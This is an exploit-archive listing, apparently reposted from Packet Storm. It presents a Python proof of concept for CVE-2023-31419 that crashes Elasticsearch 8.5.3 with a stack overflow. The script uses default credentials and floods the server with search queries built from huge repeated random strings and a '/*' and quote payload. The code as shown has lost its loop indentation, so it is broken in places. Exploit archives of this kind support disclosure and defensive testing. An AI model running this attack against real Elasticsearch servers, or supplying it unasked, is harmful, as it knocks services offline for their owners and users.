Elasticsearch 8.5.3 Stack Overflow ≈ Packet Storm

Roger Wilco Exploits 22 septembre 2023 Affichages : 64

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Elasticsearch 8.5.3 Stack Overflow^[6]: Authored by Touhami Kasbaoui ^[7]; Elasticsearch version 8.5.3 stack overflow proof of concept exploit.; advisories | CVE-2023-31419 ^[8]; SHA-256 | 3ea73849caae7368d08d81cb21e393baddfab08e0fc2108b64083363b66bb17a; Download ^[9] | Favorite ^[10] | View ^[11]

        # Exploit Author: TOUHAMI KASBAOUI
# Vendor Homepage: https://elastic.co/
# Version: 8.5.3 / OpenSearch
# Tested on: Ubuntu 20.04 LTS
# CVE : CVE-2023-31419
# Ref: https://github.com/sqrtZeroKnowledge/Elasticsearch-Exploit-CVE-2023-31419
import requests
import random
import string
es_url = 'http://localhost:9200'  # Replace with your Elasticsearch server URL
index_name = '*'
payload = "/*" * 10000 + "\\" +"'" * 999
verify_ssl = False
username = 'elastic'
password = 'changeme'
auth = (username, password)
num_queries = 100
for _ in range(num_queries):
symbols = ''.join(random.choice(string.ascii_letters + string.digits + '^') for _ in range(5000))
search_query = {
"query": {
"match": {
"message": (symbols * 9000) + payload
}
}
}
print(f"Query {_ + 1} - Search Query:")
search_endpoint = f'{es_url}/{index_name}/_search'
response = requests.get(search_endpoint, json=search_query, verify=verify_ssl, auth=auth)
if response.status_code == 200:
search_results = response.json()
print(f"Query {_ + 1} - Response:")
print(search_results)
total_hits = search_results['hits']['total']['value']
print(f"Query {_ + 1}: Total hits: {total_hits}")
for hit in search_results['hits']['hits']:
source_data = hit['_source']
print("Payload result: {search_results}")
else:
print(f"Error for query {_ + 1}: {response.status_code} - {response.text}")